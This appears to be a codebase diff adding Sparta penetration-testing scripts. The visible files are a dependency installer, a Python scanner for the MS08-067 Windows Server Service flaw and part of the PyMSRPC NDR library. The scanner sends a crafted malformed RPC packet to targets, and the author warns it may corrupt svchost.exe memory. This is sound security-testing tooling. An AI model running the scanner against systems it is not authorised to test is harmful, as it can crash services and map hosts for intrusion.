Codebase list sparta-scripts / 384b780
New upstream version 1.0.4+git20190226 Sophie Brun 4 years ago
9 changed file(s) with 4604 addition(s) and 0 deletion(s). Raw diff Collapse all Expand all
0 These scripts come from the Sparta project, for optional use with our main fork, Legion:
1 https://github.com/GoVanguard/legion
0 #!/bin/bash
1 pip install scapy
2 gem install snmp
0 #!/usr/bin/env python
1
2 '''
3 Name: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability
4
5 Description:
6 Anonymously check if a target machine is affected by MS08-067 (Vulnerability in Server Service Could Allow Remote Code Execution)
7
8 Author: Bernardo Damele A. G. <[email protected]>
9
10 License: Modified Apache 1.1
11
12 Version: 0.6
13
14 References:
15 * BID: 31874
16 * CVE: 2008-4250
17 * MSB: MS08-067
18 * VENDOR: http://blogs.technet.com/swi/archive/2008/10/25/most-common-questions-that-we-ve-been-asked-regarding-ms08-067.aspx
19 * VENDOR: http://www.microsoft.com/technet/security/advisory/958963.mspx
20 * MISC: http://www.phreedom.org/blog/2008/decompiling-ms08-067/
21 * MISC: http://metasploit.com/dev/trac/browser/framework3/trunk/modules/exploits/windows/smb/ms08_067_netapi.rb
22 * MISC: http://blog.threatexpert.com/2008/10/gimmiva-exploits-zero-day-vulnerability.html
23 * MISC: http://blogs.securiteam.com/index.php/archives/1150
24
25 Tested:
26 * Windows 2000 Server Service Pack 0
27 * Windows 2000 Server Service Pack 4 with Update Rollup 1
28 * Microsoft 2003 Standard Service Pack 1
29 * Microsoft 2003 Standard Service Pack 2 Full Patched at 22nd of October 2008, before MS08-067 patch was released
30
31 Notes:
32 * On Windows XP SP2 and SP3 this check might lead to a race condition and
33 heap corruption in the svchost.exe process, but it may not crash the
34 service immediately: it can trigger later on inside any of the shared
35 services in the process.
36 '''
37
38
39 import socket
40 import sys
41
42 from optparse import OptionError
43 from optparse import OptionParser
44 from random import choice
45 from string import letters
46 from struct import pack
47 from threading import Thread
48 from traceback import format_exc
49
50 try:
51 from impacket import smb
52 from impacket import uuid
53 from impacket.dcerpc.v5 import dcerpc
54 from impacket.dcerpc.v5 import transport
55 except ImportError, _:
56 print 'ERROR: this tool requires python-impacket library to be installed, get it '
57 print 'from http://oss.coresecurity.com/projects/impacket.html or apt-get install python-impacket'
58 sys.exit(1)
59
60 try:
61 from ndr import *
62 except ImportError, _:
63 print 'ERROR: this tool requires python-pymsrpc library to be installed, get it '
64 print 'from http://code.google.com/p/pymsrpc/'
65 sys.exit(1)
66
67
68 CMDLINE = False
69 SILENT = False
70
71
72 class connectionException(Exception):
73 pass
74
75
76 class MS08_067(Thread):
77 def __init__(self, target, port=445):
78 super(MS08_067, self).__init__()
79
80 self.__port = port
81 self.target = target
82 self.status = 'unknown'
83
84
85 def __checkPort(self):
86 '''
87 Open connection to TCP port to check if it is open
88 '''
89
90 try:
91 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
92 s.settimeout(1)
93 s.connect((self.target, self.__port))
94 s.close()
95
96 except socket.timeout, _:
97 raise connectionException, 'connection timeout'
98
99 except socket.error, _:
100 raise connectionException, 'connection refused'
101
102
103 def __connect(self):
104 '''
105 SMB connect to the Computer Browser service named pipe
106 Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_browser.html
107 '''
108
109 try:
110 self.__trans = transport.DCERPCTransportFactory('ncacn_np:%s[\\pipe\\browser]' % self.target)
111 self.__trans.connect()
112
113 except smb.SessionError, _:
114 raise connectionException, 'access denied (RestrictAnonymous is probably set to 2)'
115
116 except:
117 #raise Exception, 'unhandled exception (%s)' % format_exc()
118 raise connectionException, 'unexpected exception'
119
120
121 def __bind(self):
122 '''
123 DCERPC bind to SRVSVC (Server Service) endpoint
124 Reference: http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_srvsvc.html
125 '''
126
127 try:
128 self.__dce = self.__trans.DCERPC_class(self.__trans)
129
130 self.__dce.bind(uuid.uuidtup_to_bin(('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0')))
131
132 except socket.error, _:
133 raise connectionException, 'unable to bind to SRVSVC endpoint'
134
135 except:
136 #raise Exception, 'unhandled exception (%s)' % format_exc()
137 raise connectionException, 'unexpected exception'
138
139
140 def __forgePacket(self):
141 '''
142 Forge the malicious NetprPathCompare packet
143
144 Reference: http://msdn.microsoft.com/en-us/library/cc247259.aspx
145
146 long NetprPathCompare(
147 [in, string, unique] SRVSVC_HANDLE ServerName,
148 [in, string] WCHAR* PathName1,
149 [in, string] WCHAR* PathName2,
150 [in] DWORD PathType,
151 [in] DWORD Flags
152 );
153 '''
154
155 self.__path = ''.join([choice(letters) for _ in xrange(0, 3)])
156
157 self.__request = ndr_unique(pointer_value=0x00020000, data=ndr_wstring(data='')).serialize()
158 self.__request += ndr_wstring(data='\\%s\\..\\%s' % ('A'*5, self.__path)).serialize()
159 self.__request += ndr_wstring(data='\\%s' % self.__path).serialize()
160 self.__request += ndr_long(data=1).serialize()
161 self.__request += ndr_long(data=0).serialize()
162
163
164 def __compare(self):
165 '''
166 Compare NetprPathCompare response field 'Windows Error' with the
167 expected value (WERR_OK) to confirm the target is vulnerable
168 '''
169
170 self.__vulnerable = pack('<L', 0)
171
172 # The target is vulnerable if the NetprPathCompare response field
173 # 'Windows Error' is WERR_OK (0x00000000)
174 if self.__response == self.__vulnerable:
175 self.status = 'VULNERABLE'
176 else:
177 self.status = 'not vulnerable'
178
179 self.result()
180
181
182 def result(self):
183 if CMDLINE == True and self.status in ('VULNERABLE', 'not vulnerable'):
184 print '%s: %s' % (self.target, self.status)
185 elif CMDLINE == True and SILENT != True:
186 print '%s: %s' % (self.target, self.status)
187
188
189 def run(self):
190 try:
191 self.__checkPort()
192 self.__connect()
193 self.__bind()
194 except connectionException, e:
195 self.status = e
196 self.result()
197 return None
198
199 # Forge and send the NetprPathCompare operation malicious packet
200 self.__forgePacket()
201 self.__dce.call(32, self.__request)
202
203 # Get back the NetprPathCompare response and check if it is vulnerable
204 self.__response = self.__dce.recv()
205 self.__compare()
206
207
208 if __name__ == '__main__':
209 CMDLINE = True
210
211 usage = '%s [option] {-t <target>|-l <iplist.txt>}' % sys.argv[0]
212 parser = OptionParser(usage=usage, version='0.4')
213 targets = set()
214
215 # Create command line options
216 try:
217 parser.add_option('-d', dest='descr', action='store_true', help='show description and exit')
218
219 parser.add_option('-t', dest='target', help='target IP or hostname')
220
221 parser.add_option('-l', dest='list', help='text file with list of targets')
222
223 parser.add_option('-s', dest='silent', action='store_true', help='be silent')
224
225 (args, _) = parser.parse_args()
226
227 if not args.descr and not args.target and not args.list:
228 print usage
229 sys.exit(1)
230
231 except (OptionError, TypeError), e:
232 parser.error(e)
233
234 descr = args.descr
235 target = args.target
236 tList = args.list
237
238 SILENT = args.silent
239
240 if descr:
241 print __doc__
242 sys.exit(0)
243
244 if tList:
245 try:
246 fd = open(tList, 'r')
247 except IOError:
248 print 'ERROR: unable to read targets list file \'%s\'' % tList
249 sys.exit(1)
250
251 for line in fd.readlines():
252 target = line.replace('\n', '').replace('\r', '')
253 targets.add(target)
254 else:
255 targets.add(target)
256
257 if not targets:
258 print 'ERROR: no targets specified'
259 sys.exit(1)
260
261 targets = list(targets)
262 targets.sort()
263
264 if not SILENT:
265 print
266 print '***********************************************************************'
267 print '* On Windows XP SP2 and SP3 this check might lead to a race condition *'
268 print '* and heap corruption in the svchost.exe process, but it may not *'
269 print '* crash the service immediately, it can trigger later on inside any *'
270 print '* of the shared services in the process. *'
271 print '***********************************************************************'
272 print
273 answer = raw_input('Do you want to continue? [Y/n] ')
274
275 if answer and answer[0].lower() != 'y':
276 sys.exit(1)
277
278 for target in targets:
279 current = MS08_067(target)
280 current.start()
+1287
-0
ndr.py less more
0 #!/usr/bin/env python
1
2 '''
3 This file is part of the PyMSRPC project and is licensed under the
4 project license.
5
6 ndr.py
7
8 This are the functions that provide all the NDR data types. It handles
9 serialization and everything. I have spent a shit load of time on this and
10 yet they are not 100%. This is usually due to structure padding or array
11 serialization but honestly debugging it is such a beating so this is what
12 I have for now.
13
14 (c) 2007 Cody Pierce - BSD License - See LICENSE.txt
15 '''
16
17 import sys, struct, random, re, copy
18
19 DEBUG = False
20
21 #######################################################################
22 #
23 # Opcodes
24 #
25 #######################################################################
26
27 class ndr_opcode:
28 def __init__(self, **kwargs):
29 self.opnum = kwargs.get('opnum', 0x0)
30 self.address = kwargs.get('address', 0x00000000)
31 self.elements = kwargs.get('elements', [])
32 self.out = kwargs.get('out', None)
33 self.align_byte = kwargs.get('align_byte', "\xaa")
34
35 def align(self, data):
36 return self.align_byte * ((4 - (len(data) & 3)) & 3)
37
38 # Allows us to set a context handle for [in] params
39 def set_context_handle(self, handle):
40 for elem in self.elements:
41 if isinstance(elem, ndr_context_handle):
42 elem.data = handle
43 return True
44
45 return False
46
47 def serialize(self):
48 serialdata = ""
49
50 for elem in self.elements:
51 s = elem.serialize()
52 serialdata += s + self.align(s)
53
54 return serialdata
55
56 #######################################################################
57 #
58 # NDR Parent Classes
59 #
60 #######################################################################
61
62 class ndr_primitive(object):
63 def align(self, data):
64 return self.align_byte * ((4 - (len(data) & 3)) & 3)
65
66 def serialize(self):
67 raise NotImplementedError
68
69 class ndr_container(object):
70 def align(self, data):
71 return self.align_byte * ((4 - (len(data) & 3)) & 3)
72
73 def add_static(self, obj):
74 if DEBUG: print "[*] add_static",
75
76 if not self.parent:
77 if DEBUG: print "self"
78 self.s.append(obj)
79 else:
80 if DEBUG: print "parent"
81 self.parent.add_static(obj)
82
83 def add_deferred(self, obj):
84 if DEBUG: print "[*] add_deferred",
85
86 if not self.parent:
87 if DEBUG: print "self"
88 self.d.append(obj)
89 else:
90 if DEBUG: print "parent"
91 self.parent.add_deferred(obj)
92
93 def serialize(self):
94 raise NotImplementedError
95
96 #######################################################################
97 #
98 # Primitives
99 #
100 #######################################################################
101
102 class ndr_pad(ndr_primitive):
103 '''
104 pad placeholder
105 '''
106 def __init__(self):
107 pass
108
109 class ndr_byte(ndr_primitive):
110 '''
111 encode: byte element_1;
112 '''
113 def __init__(self, **kwargs):
114 self.data = kwargs.get('data', 0x06)
115 self.signed = kwargs.get('signed', False)
116 self.name = kwargs.get('name', "")
117 self.size = 1
118
119 def get_data(self):
120 return self.data
121
122 def set_data(self, new_data):
123 self.data = new_data
124
125 def get_name(self):
126 return self.name
127
128 def get_size(self):
129 return self.size
130
131 def serialize(self):
132 if self.signed:
133 return struct.pack("<b", self.data)
134 else:
135 return struct.pack("<B", self.data)
136
137 class ndr_small(ndr_primitive):
138 '''
139 encode: small element_1;
140 '''
141 def __init__(self, **kwargs):
142 self.data = kwargs.get('data', 0x00)
143 self.signed = kwargs.get('signed', False)
144 self.name = kwargs.get('name', "")
145 self.size = 1
146
147 def get_data(self):
148 return self.data
149
150 def set_data(self, new_data):
151 self.data = new_data
152
153 def get_name(self):
154 return self.name
155
156 def get_size(self):
157 return self.size
158
159 def serialize(self):
160 if self.signed:
161 return struct.pack("<b", self.data)
162 else:
163 return struct.pack("<B", self.data)
164
165 class ndr_char(ndr_primitive):
166 '''
167 encode: char [*] element_1;
168 '''
169 def __init__(self, **kwargs):
170 self.data = kwargs.get('data', 0x03)
171 self.signed = kwargs.get('signed', False)
172 self.name = kwargs.get('name', "")
173 self.size = 1
174
175 if self.signed:
176 raise Exception
177
178 def get_data(self):
179 return self.data
180
181 def set_data(self, new_data):
182 self.data = new_data
183
184 def get_name(self):
185 return self.name
186
187 def get_size(self):
188 return self.size
189
190 def serialize(self):
191 return chr(self.data)
192
193 class ndr_wchar(ndr_primitive):
194 '''
195 encode: wchar element_1;
196 '''
197 def __init__(self, **kwargs):
198 self.data = kwargs.get('data', 0x42)
199 self.signed = kwargs.get('signed', False)
200 self.name = kwargs.get('name', "")
201 self.size = 2
202
203 if self.signed:
204 raise Exception
205
206 def get_data(self):
207 return self.data
208
209 def set_data(self, new_data):
210 self.data = new_data
211
212 def get_name(self):
213 return self.name
214
215 def get_size(self):
216 return self.size
217
218 def serialize(self):
219 return chr(self.data).encode("utf-16le")
220
221 class ndr_void(ndr_primitive):
222 '''
223 encode: void *element_1
224 '''
225 def __init__(self, **kwargs):
226 self.data = kwargs.get('data', "")
227 self.name = kwargs.get('name', "")
228 self.size = 4
229
230 def get_data(self):
231 return self.data
232
233 def set_data(self, new_data):
234 self.data = new_data
235
236 def get_name(self):
237 return self.name
238
239 def get_size(self):
240 return self.size
241
242 def serialize(self):
243 return self.data
244
245 class ndr_user_marshal(ndr_primitive):
246 '''
247 encode: [user_marshal(4)] struct struct_12 * elem_24;
248 Untested/Unsupported because technically ths calls a
249 user function
250 '''
251 def __init__(self, **kwargs):
252 self.num = kwargs.get('num', 0x4)
253 self.data = kwargs.get('data', "")
254 self.name = kwargs.get('name', "")
255 self.size = 0
256
257 def get_size(self):
258 return self.size
259
260 def get_packed(self):
261 return struct.pack("<L", self.num)
262
263 class ndr_range(ndr_primitive):
264 '''
265 encode: [range(0,1000)] long elem_1;
266 '''
267 def __init__(self, low=0x0, high=0xffffffff, data=""):
268 self.low = kwargs.get('low', 0x0)
269 self.high = kwargs.get('high', 0xffffffff)
270 self.data = kwargs.get('data', "")
271 self.size = 0
272
273 def get_data(self):
274 return self.data
275
276 def set_data(self, new_data):
277 self.data = new_data
278
279 def get_size(self):
280 return self.size
281
282 def serialize(self):
283 if not self.data:
284 self.data = ndr_long(data=random.randint(self.low, self.high))
285 else:
286 if self.data.get_data() > self.high:
287 self.data.data = self.high
288 elif self.data.get_data() < self.low:
289 self.data.data = self.low
290
291 return self.data.serialize()
292
293 class ndr_enum16(ndr_primitive):
294 '''
295 encode: /* enum16 */ short element_1;
296 '''
297 def __init__(self, **kwargs):
298 self.data = kwargs.get('data', 0x0004)
299 self.signed = kwargs.get('signed', True)
300 self.name = kwargs.get('name', "")
301 self.size = 2
302
303 def get_data(self):
304 return self.data
305
306 def set_data(self, new_data):
307 self.data = new_data
308
309 def get_name(self):
310 return self.name
311
312 def get_size(self):
313 return self.size
314
315 def serialize(self):
316 if self.signed:
317 return struct.pack("<H", self.data)
318 else:
319 return struct.pack("<h", self.data)
320
321 class ndr_short(ndr_primitive):
322 '''
323 encode: short element_1;
324 '''
325 def __init__(self, **kwargs):
326 self.data = kwargs.get('data', 0x0004)
327 self.signed = kwargs.get('signed', True)
328 self.name = kwargs.get('name', "")
329 self.size = 2
330
331 def get_data(self):
332 return self.data
333
334 def set_data(self, new_data):
335 self.data = new_data
336
337 def get_name(self):
338 return self.name
339
340 def get_size(self):
341 return self.size
342
343 def serialize(self):
344 if self.signed:
345 return struct.pack("<H", self.data)
346 else:
347 return struct.pack("<h", self.data)
348
349 class ndr_interface(ndr_primitive):
350 '''
351 encode: interface(0000000c-0000-0000-c000-000000000046)
352 '''
353 def __init__(self, **kwargs):
354 self.data = kwargs.get('data', "\x89" * 20)
355 self.name = kwargs.get('name', "")
356 self.size = 20
357
358 def get_data(self):
359 return self.data
360
361 def set_data(self, new_data):
362 self.data = new_data
363
364 def get_name(self):
365 return self.name
366
367 def get_size(self):
368 return self.size
369
370 def serialize(self):
371 return self.data
372
373 class ndr_long(ndr_primitive):
374 '''
375 encode: long element_1;
376 '''
377 def __init__(self, **kwargs):
378 self.data = kwargs.get('data', 0x00000002)
379 self.signed = kwargs.get('signed', True)
380 self.name = kwargs.get('name', "")
381 self.size = 4
382
383 def set_data(self, new_data):
384 self.data = new_data
385
386 def get_data(self):
387 return self.data
388
389 def get_name(self):
390 return self.name
391
392 def get_size(self):
393 return self.size
394
395 def serialize(self):
396 if self.signed:
397 return struct.pack("<l", self.data)
398 else:
399 return struct.pack("<L", self.data)
400
401 class ndr_hyper(ndr_primitive):
402 '''
403 encode: hyper (aka 64bit) element_1;
404 '''
405 def __init__(self, **kwargs):
406 self.data = kwargs.get('data', 0x0000000000000005)
407 self.signed = kwargs.get('signed', True)
408 self.name = kwargs.get('name', "")
409 self.size = 8
410
411 def get_data(self):
412 return self.data
413
414 def set_data(self, new_data):
415 self.data = new_data
416
417 def get_name(self):
418 return self.name
419
420 def get_size(self):
421 return self.size
422
423 def serialize(self):
424 if self.signed:
425 return struct.pack("<q", self.data)
426 else:
427 return struct.pack("<Q", self.data)
428
429 class ndr_empty(ndr_primitive):
430 '''
431 used for default or empty cases in unions/unknown stuff
432 '''
433 def __init__(self, **kwargs):
434 self.data = kwargs.get('data', "")
435 self.name = kwargs.get('name', "")
436 self.size = 0
437
438 def get_data(self):
439 return self.data
440
441 def get_name(self):
442 return self.name
443
444 def get_size(self):
445 return self.size
446
447 def serialize(self):
448 return ""
449
450 class ndr_float(ndr_primitive):
451 '''
452 encode: float element_1;
453 '''
454 def __init__(self, **kwargs):
455 self.data = kwargs.get('data', 0.0)
456 self.name = kwargs.get('name', "")
457 self.size = 4
458
459 def get_data(self):
460 return self.data
461
462 def set_data(self, new_data):
463 self.data = new_data
464
465 def get_name(self):
466 return self.name
467
468 def get_size(self):
469 return self.size
470
471 def serialize(self):
472 return struct.pack("<f", self.data)
473
474 class ndr_double(ndr_primitive):
475 '''
476 encode: double element_1;
477 '''
478 def __init__(self, **kwargs):
479 self.data = kwargs.get('data', 0.0)
480 self.name = kwargs.get('name', "")
481 self.size = 8
482
483 def get_data(self):
484 return self.data
485
486 def set_data(self, new_data):
487 self.data = new_data
488
489 def get_name(self):
490 return self.name
491
492 def serialize(self):
493 return struct.pack("<d", self.data)
494
495 class ndr_string(ndr_primitive):
496 '''
497 encode: char *element_1;
498 '''
499 def __init__(self, **kwargs):
500 self.data = kwargs.get('data', "Administrator")
501 self.name = kwargs.get('name', "")
502 self.align_byte = kwargs.get('align_byte', "\xaa")
503 self.size = 0
504
505 def pad(self, data):
506 return self.align_byte * ((4 - (len(data) & 3)) & 3)
507
508 def get_data(self):
509 return self.data
510
511 def set_data(self, new_data):
512 self.data = new_data
513
514 def get_name(self):
515 return self.name
516
517 def get_size(self):
518 return len(self.get_packed())
519
520 def serialize(self):
521 # We add our null because it gets counted
522 self.data += "\x00"
523
524 length = len(self.data)
525
526 # Conformance varying information
527 return struct.pack("<L", length) \
528 + struct.pack("<L", 0) \
529 + struct.pack("<L", length) \
530 + self.data \
531 + self.pad(self.data) \
532
533 class ndr_wstring(ndr_primitive):
534 '''
535 encode: wchar *element_1;
536 '''
537 def __init__(self, **kwargs):
538 self.data = kwargs.get('data', "\\\\EXCHANGE2K3")
539 self.name = kwargs.get('name', "")
540 self.align_byte = kwargs.get('align_byte', "\xaa")
541 self.size = 0
542
543 def pad(self, data):
544 return self.align_byte * ((4 - (len(data) & 3)) & 3)
545
546 def set_data(self, new_data):
547 self.data = new_data
548
549 def get_data(self):
550 return self.data
551
552 def get_name(self):
553 return self.name
554
555 def get_size(self):
556 return len(self.get_packed())
557
558 def serialize(self):
559 # Add our wide null because it gets counted
560 data = self.data.encode("utf-16le") + "\x00\x00"
561
562 length = len(data) / 2
563 return struct.pack("<L", length) \
564 + struct.pack("<L", 0) \
565 + struct.pack("<L", length) \
566 + data \
567 + self.pad(data)
568
569 class ndr_string_nonconformant(ndr_primitive):
570 '''
571 encode: [string] char element_1[3];
572 '''
573 def __init__(self, **kwargs):
574 self.data = kwargs.get('data', "ABCDEFG")
575 self.name = kwargs.get('name', "")
576 self.size = kwargs.get('size', 0)
577 self.align_byte = kwargs.get('align_byte', "\xaa")
578
579 def pad(self, data):
580 return self.align_byte * ((4 - (len(data) & 3)) & 3)
581
582 def set_data(self, new_data):
583 self.data = new_data
584
585 def get_data(self):
586 return self.data
587
588 def get_name(self):
589 return self.name
590
591 def get_size(self):
592 return len(self.get_packed())
593
594 def serialize(self):
595 # Make sure we stick to our size
596 if len(self.data) < self.size:
597 self.size = len(self.data)
598 data = self.data
599 else:
600 data = self.data[:self.size - 1]
601
602 # Add our null
603 data += "\x00"
604
605 return struct.pack("<L", 0) \
606 + struct.pack("<L", self.size) \
607 + data \
608 + self.pad(data)
609
610 class ndr_wstring_nonconformant(ndr_primitive):
611 '''
612 encode: [string] wchar_t element_1[3];
613 '''
614 def __init__(self, **kwargs):
615 self.data = kwargs.get('data', "ABCDEFG")
616 self.name = kwargs.get('name', "")
617 self.size = kwargs.get('size', 0)
618 self.align_byte = kwargs.get('align_byte', "\xaa")
619
620 def pad(self, data):
621 return self.align_byte * ((4 - (len(data) & 3)) & 3)
622
623 def set_data(self, new_data):
624 self.data = new_data
625
626 def get_data(self):
627 return self.data
628
629 def get_name(self):
630 return self.name
631
632 def get_size(self):
633 return len(self.get_packed())
634
635 def serialize(self):
636 # Make sure we stick to our size
637 if len(self.data) < self.size:
638 self.size = len(self.data) / 2
639 data = self.data
640 else:
641 data = self.data[:self.size - 1]
642
643 # Add our wide null
644 data = data.encode("utf-16le") + "\x00\x00"
645
646 return struct.pack("<L", 0) \
647 + struct.pack("<L", self.size) \
648 + data \
649 + self.pad(data)
650
651 class ndr_error_status(ndr_primitive):
652 def __init__(self, **kwargs):
653 self.data = kwargs.get('data', 0x00000000)
654 self.name = kwargs.get('name', "")
655 self.size = 4
656
657 def get_data(self):
658 return self.data
659
660 def set_data(self, new_data):
661 self.data = new_data
662
663 def get_name(self):
664 return self.name
665
666 def get_size(self):
667 return self.size
668
669 def serialize(self):
670 return struct.pack("<L", self.data)
671
672 class ndr_callback(ndr_primitive):
673 '''
674 encodes size_is(callback_0x12345678)
675 Unsupported because it calls a user function
676 '''
677 def __init__(self, **kwargs):
678 self.data = kwargs.get('data', 0x00000000)
679 self.name = kwargs.get('name', "")
680 self.size = 4
681
682 def get_data(self):
683 return self.data
684
685 def set_data(self, new_data):
686 self.data = new_data
687
688 def get_name(self):
689 return self.name
690
691 def get_size(self):
692 return self.size
693
694 def serialize(self):
695 return struct.pack("<L", self.data)
696
697 class ndr_context_handle(ndr_primitive):
698 '''
699 encodes: [in] context_handle arg_1
700 '''
701 def __init__(self, **kwargs):
702 self.data = kwargs.get('data', "\x88" * 20)
703 self.name = kwargs.get('name', "")
704 self.size = 20
705
706 def get_data(self):
707 return self.data
708
709 def get_name(self):
710 return self.name
711
712 def get_size(self):
713 return self.size
714
715 def serialize(self):
716 return self.data
717
718 class ndr_pipe(ndr_primitive):
719 '''
720 I need an example plz2u
721 '''
722 def __init__(self, **kwargs):
723 self.data = kwargs.get('data', "\x8a" * 20)
724 self.name = kwargs.get('name', "")
725 self.size = 20
726
727 def get_data(self):
728 return self.data
729
730 def get_name(self):
731 return self.name
732
733 def get_size(self):
734 return self.size
735
736 def serialize(self):
737 return self.data
738
739 class ndr_handle_t(ndr_primitive):
740 '''
741 encode: handle_t element_1 (not sent on network)
742 '''
743 def __init__(self, **kwargs):
744 self.data = kwargs.get('data', "")
745 self.name = kwargs.get('name', "")
746 self.size = 0
747
748 def get_data(self):
749 return self.data
750
751 def get_name(self):
752 return self.name
753
754 def get_size(self):
755 return self.size
756
757 def serialize(self):
758 return ""
759
760 #######################################################################
761 #
762 # Unions
763 #
764 #######################################################################
765
766 class ndr_union:
767 '''
768 NDR Union: data will be a tuple list of (case, ndr_type)
769 '''
770
771 def __init__(self, **kwargs):
772 self.elements = kwargs.get('elements', {})
773 self.switch_dep = kwargs.get('switch_dep', "")
774 self.name = kwargs.get('name', "")
775 self.defname = kwargs.get('defname', "")
776 self.size = 0
777
778 def get_data(self):
779 return self.elements
780
781 def set_data(self, new_data):
782 self.elements = new_data
783
784 def get_name(self):
785 return self.name
786
787 def get_size(self):
788 return self.size
789
790 def add_element(self, case, element):
791 self.elements[case] = element
792
793 def serialize(self):
794 serialdata = ""
795
796 switch = self.switch_dep.get_data()
797 if self.elements.has_key(switch):
798 serialdata += self.switch_dep.serialize()
799
800 # Pack our requested enum
801 serialdata += self.elements[switch].serialize()
802 else:
803 # This allows us to pick a switch for the user
804 newswitch = self.elements.keys()[0]
805
806 # We need to update our original switch_dep so it passes correlation checks
807 self.switch_dep.set_data(newswitch)
808
809 serialdata += ndr_long(data=newswitch).serialize()
810 serialdata += self.elements[newswitch].serialize()
811
812 return serialdata
813
814 #######################################################################
815 #
816 # Pointers
817 #
818 #######################################################################
819 class ndr_unique(ndr_container):
820 def __init__(self, **kwargs):
821 self.name = kwargs.get('name', "")
822 self.data = kwargs.get('data', "")
823 self.type = kwargs.get('type', "")
824 self.align_byte = kwargs.get('align_byte', "\xaa")
825 self.pointer_value = kwargs.get('pointer_value', 0x41424344)
826 self.size = 4
827 self.alignment = 4
828
829 self.parent = None
830 self.s = []
831 self.d = []
832
833 def get_name(self):
834 return self.name
835
836 def get_size(self):
837 return self.size
838
839 def get_data(self):
840 return self.data
841
842 def set_data(self, new_data):
843 # We have to use the objects set_data if its a unique/array
844 self.data.set_data(new_data)
845
846 def serialize(self):
847 self.add_static(ndr_long(data=self.pointer_value))
848
849 if isinstance(self.data, ndr_container):
850 self.data.parent = self
851
852 self.add_deferred(self.data)
853
854 if not self.parent:
855 while len(self.d):
856 d = self.d.pop(0)
857 if isinstance(d, ndr_container):
858 d.serialize()
859 else:
860 self.add_static(d)
861
862 serialdata = ""
863 for s in self.s:
864 if isinstance(s, ndr_pad):
865 serialdata += self.align(serialdata)
866 else:
867 serialdata += s.serialize()
868
869 self.parent = None
870 self.s = []
871 self.d = []
872
873 return serialdata
874
875 class ndr_full(ndr_container):
876 def __init__(self, **kwargs):
877 self.name = kwargs.get('name', "")
878 self.data = kwargs.get('data', "")
879 self.type = kwargs.get('type', "")
880 self.align_byte = kwargs.get('align_byte', "\xaa")
881 self.pointer_value = kwargs.get('pointer_value', 0x41424344)
882 self.size = 4
883 self.alignment = 4
884
885 self.parent = None
886 self.s = []
887 self.d = []
888
889 def get_name(self):
890 return self.name
891
892 def get_size(self):
893 return self.size
894
895 def get_data(self):
896 return self.data
897
898 def set_data(self, new_data):
899 # We have to use the objects set_data if its a unique/array
900 self.data.set_data(new_data)
901
902 def serialize(self):
903 self.add_static(ndr_long(data=self.pointer_value))
904
905 if isinstance(self.data, ndr_container):
906 self.data.parent = self
907
908 self.add_deferred(self.data)
909
910 if not self.parent:
911 while len(self.d):
912 d = self.d.pop(0)
913 if isinstance(d, ndr_container):
914 d.serialize()
915 else:
916 self.add_static(d)
917
918 serialdata = ""
919 for s in self.s:
920 if isinstance(s, ndr_pad):
921 serialdata += self.align(serialdata)
922 else:
923 serialdata += s.serialize()
924
925 self.parent = None
926 self.s = []
927 self.d = []
928
929 return serialdata
930
931 #######################################################################
932 #
933 # Structures
934 #
935 #######################################################################
936
937 class ndr_struct(ndr_container):
938 def __init__(self, **kwargs):
939 self.elements = kwargs.get('elements', [])
940 self.name = kwargs.get('name', "")
941 self.defname = kwargs.get('defname', "")
942 self.type = kwargs.get('type', "")
943 self.align_byte = kwargs.get('align_byte', "\xaa")
944
945 self.size = 0
946 self.alignment = 4
947
948 self.parent = None
949 self.s = []
950 self.d = []
951
952 def get_data(self):
953 return self.elements
954
955 def set_data(self, new_data):
956 self.elements = new_data
957
958 def add_element(self, element):
959 self.elements.append(element)
960
961 def del_element(self, eid):
962 del(self.elements[eid])
963
964 return True
965
966 def get_element_by_id(self, eid=0):
967 return self.elements[eid]
968
969 def get_element_by_name(self, name):
970 for element in self.elements:
971 try:
972 if element.name == name:
973 return element
974 except:
975 if DEBUG: print "[*] Couldnt get name of element"
976
977 return False
978
979 def get_name(self):
980 return self.name
981
982 def get_size(self):
983 return self.size
984
985 def serialize(self):
986 if DEBUG: print "[*] Serializing ndr_struct"
987
988 # First we take care of our list serializing all containers first, and adding primitives verbatim
989 for e in self.elements:
990 if isinstance(e, ndr_container):
991 e.parent = self
992 e.serialize()
993 else:
994 self.add_static(e)
995
996 # If we are the top-most structure lets package it all
997 if not self.parent:
998 if DEBUG: print "[*] Packaging top most struct %s" % self.name
999
1000 self.add_static(ndr_pad())
1001
1002 while len(self.d):
1003 d = self.d.pop(0)
1004 if isinstance(d, ndr_container):
1005 d.serialize()
1006 else:
1007 self.add_static(d)
1008
1009 serialdata = ""
1010 for s in self.s:
1011 if isinstance(s, ndr_pad):
1012 serialdata += self.align(serialdata)
1013 else:
1014 serialdata += s.serialize()
1015
1016 self.parent = None
1017 self.s = []
1018 self.d = []
1019
1020 return serialdata
1021
1022 #######################################################################
1023 #
1024 # Arrays
1025 #
1026 #######################################################################
1027
1028 class ndr_array(ndr_container):
1029 def array_serialize(self, count):
1030 for c in range(count):
1031 if isinstance(self.basetype, ndr_container):
1032 self.basetype.parent = self
1033 self.basetype.serialize()
1034 else:
1035 self.add_static(self.basetype)
1036
1037 if not self.parent:
1038 if DEBUG: print "[*] Packaging top most array %s" % self.name
1039
1040 while len(self.d):
1041 d = self.d.pop(0)
1042 if isinstance(d, ndr_container):
1043 d.serialize()
1044 else:
1045 self.add_static(d)
1046
1047 serialdata = ""
1048 for s in self.s:
1049 if isinstance(s, ndr_pad):
1050 serialdata += self.align(serialdata)
1051 else:
1052 serialdata += s.serialize()
1053
1054 self.parent = None
1055 self.s = []
1056 self.d = []
1057
1058 return serialdata + self.align(serialdata)
1059 else:
1060 self.add_static(ndr_pad())
1061
1062 class ndr_array_fixed(ndr_array):
1063 def __init__(self, **kwargs):
1064 self.basetype = kwargs.get('basetype', ndr_empty())
1065 self.elements = kwargs.get('elements', [])
1066 self.count = kwargs.get('count', 0x0)
1067 self.cmod= kwargs.get('cmod', ())
1068 self.cptr = kwargs.get('cptr', 0x0)
1069 self.name = kwargs.get('name', "")
1070 self.align_byte = kwargs.get('align_byte', "\xaa")
1071 self.size = 0
1072
1073 self.parent = None
1074 self.s = []
1075 self.d = []
1076
1077 def set_data(self, new_data):
1078 # We have to use the objects set_data if its a pointer
1079 self.basetype.set_data(new_data)
1080
1081 def get_size(self):
1082 return self.size
1083
1084 def get_count(self):
1085 return self.count
1086
1087 def serialize(self):
